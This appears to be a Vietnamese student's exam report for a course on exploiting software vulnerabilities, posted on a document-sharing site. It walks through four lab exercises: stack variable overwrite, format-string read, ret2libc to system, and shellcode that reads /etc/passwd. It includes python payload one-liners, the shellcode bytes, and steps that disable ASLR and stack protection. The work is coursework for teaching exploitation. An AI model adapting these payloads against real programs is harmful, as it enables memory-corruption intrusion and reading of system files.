1. Trang chủ
  2. » Luận Văn - Báo Cáo

Khai thác lỗ hổng phần mềm part1

9 145 1

Đang tải... (xem toàn văn)

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 9
Dung lượng 584,61 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Quan sát mã chương trình: - Chương trình exercise1.c - Tạo file thực thi bằng gcc... Kết quả khai thác:... Câu 2Bước 1: Quan sát code chương trình excercise2.c.. - Biên dịch chương trìn

Trang 1

BAN CƠ YẾU CHÍNH PHỦ

HỌC VIỆN KỸ THUẬT MẬT

¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯

Sinh viên : Nguyễn Thị Kim Huế

SBD : 08

Mã số sinh viên : AT13CLC0101

BÁO CÁO KẾT QUẢ LÀM BÀI THI

KẾT THÚC HỌC PHẦN

Môn học: Khai thác lỗ hổng phần mềm Khóa đào tạo: AT13CLC

Câu 1

Bước 1 Quan sát mã chương trình:

- Chương trình exercise1.c

- Tạo file thực thi bằng gcc

Trang 2

Bước 2 Phân tích tệp tin excercise1 bằng IDA

- Biến v1 nằm ở vị trí esp + 9h và biến v2 nằm ở vị trí esp + 218h như vậy biến v2 nằm sau biến v1 một khoảng là 0x218 – 0x9 = 527 byte

- Biến v2 nằm ở vị trí esp + 218h và biến v3 nằm ở vị trí esp + 21Ch như vậy biến v3 nằm sau biến v2 một khoảng 0x21C – 0x218 = 4 byte

-Bước 3 Lập kịch bản khai thác

- Để giải được bài này ta cần chèn thêm một chuỗi 527 byte bất kỳ + chèn giá trị của v2 là 0x4C 0x33 0x22 0x11

- Tiếp theo chèn thêm giá trị của v3 < 0 ở đây lấy giá trị -8 nên ta chèn thêm một chuỗi byte ở định dạng hexa là 0xf8 0xff 0xff 0xff

- Mã khai thác:

- python -c 'print "A"*527 + "\x4C\x33\x22\x11" + "\xf8\xff\xff\xff"' | /excercise1

Bước 4 Kết quả khai thác:

Trang 3

Câu 2

Bước 1: Quan sát code chương trình excercise2.c

- Biên dịch chương trình:

sudo sysctl kernel.randomize_va_space=0

gcc excercise2.c -o excercise2 -fno-stack-protector -z execstack

Bước 2: Tìm địa chỉ hàm trả về dòng chữ “you won”

- Địa chỉ là : 0x80485c0 => Đây là địa chỉ của giá trị được push vào hàm win: you won!

Trang 4

Bước 3: Thử chạy chương trình

Ta thấy 7 tham số còn trống

Bước 4 Mã khai thác.

Cần chèn địa chỉ của giá trị được push tỏng hàm win là tham số

python -c 'print "B\xc0\x85\x04\x08" + "%x"*7 +"%s"' | /exercise2

Câu 3.

Bước 1 Xác định khoảng cách buff tới địa chỉ trả về.

- Chương trình exercise3.c

- Biên dịch chương trình bằng lệnh: gcc exercise3.c –o exercise3 –z execstack -fno-stack-protector

- Tạo 1 file win in ra dòng chữ “You win!”

Trang 5

- Đặt Breackpoint tại địa chỉ sau hàm Gets Tức đặt tại 0x804849a

- Địa chi buff là : 0xbfffe920

- Địa chỉ eip là : 0xbfffefac

Trang 6

Vậy khoảng giữa buff và eip là : 0xbfffefac 0xbfffe920=1676 = 68C

- Chạy chương trình lấy điạ chỉ buff : 0xbfffe990.

-Bước 2 Xác định hàm libc cần dùng

- Ở đây ta sẽ sử dụng hàm thư viện chuẩn của LibC là: System

- Và ta dùng print system để in ra địa chỉ của system là: 0xb7e45da0

- Ta lấy địa chỉ của Buf cộng thêm 68C để tính ra địa chỉ ret address là: 0xbffff01c

- Từ đây ta sẽ có địa chỉ hàm sys là 0xbffff028

Bước 3 Mã khai thác bằng ngôn ngữ Python

python -c 'print "A"*1676 + "\xa0\x5d\xe4\xb7" +"BBBB" +"\x28\xf0\xff\xbf" + "./win"'|./exercise3

Bước 4 Kết quả khai thác

- Kết quả khai thác là in ra “You won!”

Câu 4:

Bước 1: Mã shellcode

- Shellcode thực thi lệnh "cat /etc/passwd"

Trang 8

Kiểm tra shellcode

- Shellcode :

"\x31\xc9\xf7\xe9\x31\xdb\xbb\xff\x73\x77\x64\xc1\xeb\x08\x53\x68\x2f\ x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe7\x50\x68\x2f\x63\x61\x74\x68\ x2f\x62\x69\x6e\x89\xe3\x50\x57\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xdb\ xb0\x01\xcd\x80";

Bước 2 Quan sát mã nguồn chương trình excercise4.c

Bước 3 Tìm khoảng cách buff tới địa chỉ trả về :

Địa chỉ buff là : 0xbfffec89

Địa chỉ eip là : 0xbfffef8c

Khoảng cách buff tới eip là : 0xbfffef8c- 0xbfffec89 =771

Trang 9

Bước 4: Mã khai thác là :

./excercise4 $(python -c 'print"A"*771 + "\x09\xed\xff\xbf"+"\x31\xc9\xf7\xe9\x31\xdb\xbb\ xff\x73\x77\x64\xc1\xeb\x08\x53\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe7\x50\x68\x2f\ x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x50\x57\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xdb\xb0\ x01\xcd\x80"')

Ngày đăng: 16/10/2019, 10:56

TỪ KHÓA LIÊN QUAN

w